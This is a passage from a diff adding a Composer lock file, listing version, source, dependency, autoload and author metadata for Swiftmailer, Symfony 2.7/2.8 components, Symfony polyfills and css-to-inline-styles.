"require-dev": { + "mockery/mockery": "~0.9.1", + "symfony/phpunit-bridge": "~3.2" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.4-dev" + } + }, + "autoload": { + "files": [ + "lib/swift_required.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Chris Corbyn" + }, + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + } + ], + "description": "Swiftmailer, free feature-rich PHP mailer", + "homepage": "https://swiftmailer.symfony.com", + "keywords": [ + "email", + "mail", + "mailer" + ], + "abandoned": "symfony/mailer", + "time": "2018-07-31T09:26:32+00:00" + }, + { + "name": "symfony/console", + "version": "v2.7.51", + "source": { + "type": "git", + "url": "https://github.com/symfony/console.git", + "reference": "574cb4cfaa01ba115fc2fc0c2355b2c5472a4804" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/console/zipball/574cb4cfaa01ba115fc2fc0c2355b2c5472a4804", + "reference": "574cb4cfaa01ba115fc2fc0c2355b2c5472a4804", + "shasum": "" + }, + "require": { + "php": ">=5.3.9", + "symfony/debug": "^2.7.2" + }, + "require-dev": { + "psr/log": "~1.0", + "symfony/event-dispatcher": "~2.1", + "symfony/process": "~2.1" + }, + "suggest": { + "psr/log-implementation": "For using the console logger", + "symfony/event-dispatcher": "", + "symfony/process": "" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Component\\Console\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony Console Component", + "homepage": "https://symfony.com", + "time": "2018-05-13T15:44:36+00:00" + }, + { + "name": "symfony/css-selector", + "version": "v2.8.52", + "source": { + "type": "git", + "url": "https://github.com/symfony/css-selector.git", + "reference": "7b1692e418d7ccac24c373528453bc90e42797de" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/css-selector/zipball/7b1692e418d7ccac24c373528453bc90e42797de", + "reference": "7b1692e418d7ccac24c373528453bc90e42797de", + "shasum": "" + }, + "require": { + "php": ">=5.3.9" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.8-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Component\\CssSelector\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Jean-François Simon", + "email": "jeanfrancois.simon@sensiolabs.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony CssSelector Component", + "homepage": "https://symfony.com", + "time": "2018-11-11T11:18:13+00:00" + }, + { + "name": "symfony/debug", + "version": "v2.7.51", + "source": { + "type": "git", + "url": "https://github.com/symfony/debug.git", + "reference": "4a7330f29b3d215f8bacf076689f9d1c3d568681" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/debug/zipball/4a7330f29b3d215f8bacf076689f9d1c3d568681", + "reference": "4a7330f29b3d215f8bacf076689f9d1c3d568681", + "shasum": "" + }, + "require": { + "php": ">=5.3.9", + "psr/log": "~1.0" + }, + "conflict": { + "symfony/http-kernel": ">=2.3,<2.3.24|~2.4.0|>=2.5,<2.5.9|>=2.6,<2.6.2" + }, + "require-dev": { + "symfony/class-loader": "~2.2", + "symfony/http-kernel": "~2.3.24|~2.5.9|^2.6.2" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Component\\Debug\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony Debug Component", + "homepage": "https://symfony.com", + "abandoned": "symfony/error-handler", + "time": "2018-08-03T11:24:48+00:00" + }, + { + "name": "symfony/dom-crawler", + "version": "v2.7.51", + "source": { + "type": "git", + "url": "https://github.com/symfony/dom-crawler.git", + "reference": "d905e1c5885735ee66af60c205429b9941f24752" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/d905e1c5885735ee66af60c205429b9941f24752", + "reference": "d905e1c5885735ee66af60c205429b9941f24752", + "shasum": "" + }, + "require": { + "php": ">=5.3.9", + "symfony/polyfill-ctype": "~1.8" + }, + "require-dev": { + "symfony/css-selector": "~2.3" + }, + "suggest": { + "symfony/css-selector": "" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Component\\DomCrawler\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony DomCrawler Component", + "homepage": "https://symfony.com", + "time": "2018-05-01T22:30:49+00:00" + }, + { + "name": "symfony/event-dispatcher", + "version": "v2.8.52", + "source": { + "type": "git", + "url": "https://github.com/symfony/event-dispatcher.git", + "reference": "a77e974a5fecb4398833b0709210e3d5e334ffb0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/event-dispatcher/zipball/a77e974a5fecb4398833b0709210e3d5e334ffb0", + "reference": "a77e974a5fecb4398833b0709210e3d5e334ffb0", + "shasum": "" + }, + "require": { + "php": ">=5.3.9" + }, + "require-dev": { + "psr/log": "~1.0", + "symfony/config": "^2.0.5|~3.0.0", + "symfony/dependency-injection": "~2.6|~3.0.0", + "symfony/expression-language": "~2.6|~3.0.0", + "symfony/stopwatch": "~2.3|~3.0.0" + }, + "suggest": { + "symfony/dependency-injection": "", + "symfony/http-kernel": "" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.8-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Component\\EventDispatcher\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony EventDispatcher Component", + "homepage": "https://symfony.com", + "time": "2018-11-21T14:20:20+00:00" + }, + { + "name": "symfony/finder", + "version": "v2.7.51", + "source": { + "type": "git", + "url": "https://github.com/symfony/finder.git", + "reference": "34226a3aa279f1e356ad56181b91acfdc9a2525c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/finder/zipball/34226a3aa279f1e356ad56181b91acfdc9a2525c", + "reference": "34226a3aa279f1e356ad56181b91acfdc9a2525c", + "shasum": "" + }, + "require": { + "php": ">=5.3.9" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Component\\Finder\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony Finder Component", + "homepage": "https://symfony.com", + "time": "2018-05-14T06:36:14+00:00" + }, + { + "name": "symfony/http-foundation", + "version": "v2.7.51", + "source": { + "type": "git", + "url": "https://github.com/symfony/http-foundation.git", + "reference": "b67e5cbd2bf837fb3681f2c4965826d6c6758532" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/http-foundation/zipball/b67e5cbd2bf837fb3681f2c4965826d6c6758532", + "reference": "b67e5cbd2bf837fb3681f2c4965826d6c6758532", + "shasum": "" + }, + "require": { + "php": ">=5.3.9", + "symfony/polyfill-mbstring": "~1.1" + }, + "require-dev": { + "symfony/expression-language": "~2.4" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Component\\HttpFoundation\\": "" + }, + "classmap": [ + "Resources/stubs" + ], + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony HttpFoundation Component", + "homepage": "https://symfony.com", + "time": "2019-04-16T09:58:21+00:00" + }, + { + "name": "symfony/http-kernel", + "version": "v2.7.52", + "source": { + "type": "git", + "url": "https://github.com/symfony/http-kernel.git", + "reference": "435064b3b143f79469206915137c21e88b56bfb9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/http-kernel/zipball/435064b3b143f79469206915137c21e88b56bfb9", + "reference": "435064b3b143f79469206915137c21e88b56bfb9", + "shasum": "" + }, + "require": { + "php": ">=5.3.9", + "psr/log": "~1.0", + "symfony/debug": "^2.6.2", + "symfony/event-dispatcher": "^2.6.7", + "symfony/http-foundation": "~2.7.36|^2.8.29", + "symfony/polyfill-ctype": "~1.8" + }, + "conflict": { + "symfony/config": "<2.7", + "twig/twig": "<1.34|<2.4,>=2" + }, + "require-dev": { + "symfony/browser-kit": "~2.3", + "symfony/class-loader": "~2.1", + "symfony/config": "~2.7", + "symfony/console": "~2.3", + "symfony/css-selector": "^2.0.5", + "symfony/dependency-injection": "~2.2", + "symfony/dom-crawler": "^2.0.5", + "symfony/expression-language": "~2.4", + "symfony/finder": "^2.0.5", + "symfony/process": "^2.0.5", + "symfony/routing": "~2.2", + "symfony/stopwatch": "~2.3", + "symfony/templating": "~2.2", + "symfony/translation": "^2.0.5", + "symfony/var-dumper": "~2.6" + }, + "suggest": { + "symfony/browser-kit": "", + "symfony/class-loader": "", + "symfony/config": "", + "symfony/console": "", + "symfony/dependency-injection": "", + "symfony/finder": "", + "symfony/var-dumper": "" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Component\\HttpKernel\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony HttpKernel Component", + "homepage": "https://symfony.com", + "time": "2019-04-17T16:37:53+00:00" + }, + { + "name": "symfony/polyfill-ctype", + "version": "v1.19.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-ctype.git", + "reference": "aed596913b70fae57be53d86faa2e9ef85a2297b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/aed596913b70fae57be53d86faa2e9ef85a2297b", + "reference": "aed596913b70fae57be53d86faa2e9ef85a2297b", + "shasum": "" + }, + "require": { + "php": ">=5.3.3" + }, + "suggest": { + "ext-ctype": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + }, + "branch-alias": { + "dev-main": "1.19-dev" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Ctype\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Gert de Pagter", + "email": "BackEndTea@gmail.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for ctype functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "ctype", + "polyfill", + "portable" + ], + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2020-10-23T09:01:57+00:00" + }, + { + "name": "symfony/polyfill-intl-idn", + "version": "v1.19.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-intl-idn.git", + "reference": "4ad5115c0f5d5172a9fe8147675ec6de266d8826" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/4ad5115c0f5d5172a9fe8147675ec6de266d8826", + "reference": "4ad5115c0f5d5172a9fe8147675ec6de266d8826", + "shasum": "" + }, + "require": { + "php": ">=5.3.3", + "symfony/polyfill-intl-normalizer": "^1.10", + "symfony/polyfill-php70": "^1.10", + "symfony/polyfill-php72": "^1.10" + }, + "suggest": { + "ext-intl": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + }, + "branch-alias": { + "dev-main": "1.19-dev" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Intl\\Idn\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Laurent Bassin", + "email": "laurent@bassin.info" + }, + { + "name": "Trevor Rowbotham", + "email": "trevor.rowbotham@pm.me" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for intl's idn_to_ascii and idn_to_utf8 functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "idn", + "intl", + "polyfill", + "portable", + "shim" + ], + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2020-10-21T09:57:48+00:00" + }, + { + "name": "symfony/polyfill-intl-normalizer", + "version": "v1.19.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-intl-normalizer.git", + "reference": "8db0ae7936b42feb370840cf24de1a144fb0ef27" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/8db0ae7936b42feb370840cf24de1a144fb0ef27", + "reference": "8db0ae7936b42feb370840cf24de1a144fb0ef27", + "shasum": "" + }, + "require": { + "php": ">=5.3.3" + }, + "suggest": { + "ext-intl": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + }, + "branch-alias": { + "dev-main": "1.19-dev" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Intl\\Normalizer\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for intl's Normalizer class and related functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "intl", + "normalizer", + "polyfill", + "portable", + "shim" + ], + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2020-10-23T09:01:57+00:00" + }, + { + "name": "symfony/polyfill-mbstring", + "version": "v1.19.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-mbstring.git", + "reference": "b5f7b932ee6fa802fc792eabd77c4c88084517ce" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/b5f7b932ee6fa802fc792eabd77c4c88084517ce", + "reference": "b5f7b932ee6fa802fc792eabd77c4c88084517ce", + "shasum": "" + }, + "require": { + "php": ">=5.3.3" + }, + "suggest": { + "ext-mbstring": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + }, + "branch-alias": { + "dev-main": "1.19-dev" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Mbstring\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for the Mbstring extension", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "mbstring", + "polyfill", + "portable", + "shim" + ], + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2020-10-23T09:01:57+00:00" + }, + { + "name": "symfony/polyfill-php56", + "version": "v1.19.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php56.git", + "reference": "ea19621731cbd973a6702cfedef3419768bf3372" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php56/zipball/ea19621731cbd973a6702cfedef3419768bf3372", + "reference": "ea19621731cbd973a6702cfedef3419768bf3372", + "shasum": "" + }, + "require": { + "php": ">=5.3.3", + "symfony/polyfill-util": "~1.0" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + }, + "branch-alias": { + "dev-main": "1.19-dev" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php56\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 5.6+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2020-10-23T09:01:57+00:00" + }, + { + "name": "symfony/polyfill-php70", + "version": "v1.19.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php70.git", + "reference": "3fe414077251a81a1b15b1c709faf5c2fbae3d4e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php70/zipball/3fe414077251a81a1b15b1c709faf5c2fbae3d4e", + "reference": "3fe414077251a81a1b15b1c709faf5c2fbae3d4e", + "shasum": "" + }, + "require": { + "paragonie/random_compat": "~1.0|~2.0|~9.99", + "php": ">=5.3.3" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + }, + "branch-alias": { + "dev-main": "1.19-dev" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php70\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 7.0+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2020-10-23T09:01:57+00:00" + }, + { + "name": "symfony/polyfill-php72", + "version": "v1.19.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php72.git", + "reference": "beecef6b463b06954638f02378f52496cb84bacc" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php72/zipball/beecef6b463b06954638f02378f52496cb84bacc", + "reference": "beecef6b463b06954638f02378f52496cb84bacc", + "shasum": "" + }, + "require": { + "php": ">=5.3.3" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + }, + "branch-alias": { + "dev-main": "1.19-dev" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php72\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 7.2+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2020-10-23T09:01:57+00:00" + }, + { + "name": "symfony/polyfill-util", + "version": "v1.19.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-util.git", + "reference": "8df0c3e6a4b85df9a5c6f3f2f46fba5c5c47058a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-util/zipball/8df0c3e6a4b85df9a5c6f3f2f46fba5c5c47058a", + "reference": "8df0c3e6a4b85df9a5c6f3f2f46fba5c5c47058a", + "shasum": "" + }, + "require": { + "php": ">=5.3.3" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + }, + "branch-alias": { + "dev-main": "1.19-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Polyfill\\Util\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony utilities for portability of PHP codes", + "homepage": "https://symfony.com", + "keywords": [ + "compat", + "compatibility", + "polyfill", + "shim" + ], + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2020-10-21T09:57:48+00:00" + }, + { + "name": "symfony/process", + "version": "v2.7.51", + "source": { + "type": "git", + "url": "https://github.com/symfony/process.git", + "reference": "eda637e05670e2afeec3842dcd646dce94262f6b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/process/zipball/eda637e05670e2afeec3842dcd646dce94262f6b", + "reference": "eda637e05670e2afeec3842dcd646dce94262f6b", + "shasum": "" + }, + "require": { + "php": ">=5.3.9" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Component\\Process\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony Process Component", + "homepage": "https://symfony.com", + "time": "2018-08-03T11:24:48+00:00" + }, + { + "name": "symfony/routing", + "version": "v2.7.51", + "source": { + "type": "git", + "url": "https://github.com/symfony/routing.git", + "reference": "33bd5882f201f9a3b7dd9640b95710b71304c4fb" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/routing/zipball/33bd5882f201f9a3b7dd9640b95710b71304c4fb", + "reference": "33bd5882f201f9a3b7dd9640b95710b71304c4fb", + "shasum": "" + }, + "require": { + "php": ">=5.3.9" + }, + "conflict": { + "symfony/config": "<2.7" + }, + "require-dev": { + "doctrine/annotations": "~1.0", + "doctrine/common": "~2.2", + "psr/log": "~1.0", + "symfony/config": "~2.7", + "symfony/expression-language": "~2.4", + "symfony/http-foundation": "~2.3", + "symfony/yaml": "^2.0.5" + }, + "suggest": { + "doctrine/annotations": "For using the annotation loader", + "symfony/config": "For using the all-in-one router or any loader", + "symfony/expression-language": "For using expression matching", + "symfony/http-foundation": "For using a Symfony Request object", + "symfony/yaml": "For using the YAML loader" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Component\\Routing\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony Routing Component", + "homepage": "https://symfony.com", + "keywords": [ + "router", + "routing", + "uri", + "url" + ], + "time": "2018-02-28T09:36:59+00:00" + }, + { + "name": "symfony/translation", + "version": "v2.7.51", + "source": { + "type": "git", + "url": "https://github.com/symfony/translation.git", + "reference": "1959c78c5a32539ef221b3e18a961a96d949118f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/translation/zipball/1959c78c5a32539ef221b3e18a961a96d949118f", + "reference": "1959c78c5a32539ef221b3e18a961a96d949118f", + "shasum": "" + }, + "require": { + "php": ">=5.3.9" + }, + "conflict": { + "symfony/config": "<2.7" + }, + "require-dev": { + "psr/log": "~1.0", + "symfony/config": "~2.7", + "symfony/intl": "~2.7.25|^2.8.18", + "symfony/yaml": "~2.2" + }, + "suggest": { + "psr/log-implementation": "To use logging capability in translator", + "symfony/config": "", + "symfony/yaml": "" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Component\\Translation\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony Translation Component", + "homepage": "https://symfony.com", + "time": "2018-05-17T10:34:06+00:00" + }, + { + "name": "symfony/var-dumper", + "version": "v2.7.51", + "source": { + "type": "git", + "url": "https://github.com/symfony/var-dumper.git", + "reference": "6f9271e94369db05807b261fcfefe4cd1aafd390" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/var-dumper/zipball/6f9271e94369db05807b261fcfefe4cd1aafd390", + "reference": "6f9271e94369db05807b261fcfefe4cd1aafd390", + "shasum": "" + }, + "require": { + "php": ">=5.3.9" + }, + "conflict": { + "phpunit/phpunit": "<4.8.35|<5.4.3,>=5.0" + }, + "suggest": { + "ext-symfony_debug": "" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "autoload": { + "files": [ + "Resources/functions/dump.php" + ], + "psr-4": { + "Symfony\\Component\\VarDumper\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony mechanism for exploring and dumping PHP variables", + "homepage": "https://symfony.com", + "keywords": [ + "debug", + "dump" + ], + "time": "2018-04-22T05:56:10+00:00" + }, + { + "name": "tijsverkoyen/css-to-inline-styles", + "version": "v2.2.7", + "source": { + "type": "git", + "url": "https://github.com/tijsverkoyen/CssToInlineStyles.git", + "reference": "83ee6f38df0a63106a9e4536e3060458b74ccedb" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/tijsverkoyen/CssToInlineStyles/zipball/83ee6f38df0a63106a9e4536e3060458b74ccedb", + "reference": "83ee6f38df0a63106a9e4536e3060458b74ccedb", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-libxml": "*", + "php": "^5.5 || ^7.0 || ^8.0", + "symfony/css-selector": "^2.7 || ^3.0 || ^4.0 || ^5.0 || ^6.0 || ^7.0" + }, + "require-dev": { + "phpunit/phpunit": "^4.8.35 || ^5.7 || ^6.0 || ^7.5 || ^8.5.21 || ^9.5.10" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.2.x-dev" + } + }, + "autoload": { + "psr-4": { + "TijsVerkoyen\\CssToInlineStyles\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Tijs Verkoyen", + "email": "css_to_inline_styles@verkoyen.eu", + "role": "Developer" + } + ], + "description": "CssToInlineStyles is a class that enables you to convert HTML-pages/files into HTML-pages/files with inline styles. This is very useful when you're sending emails.", + 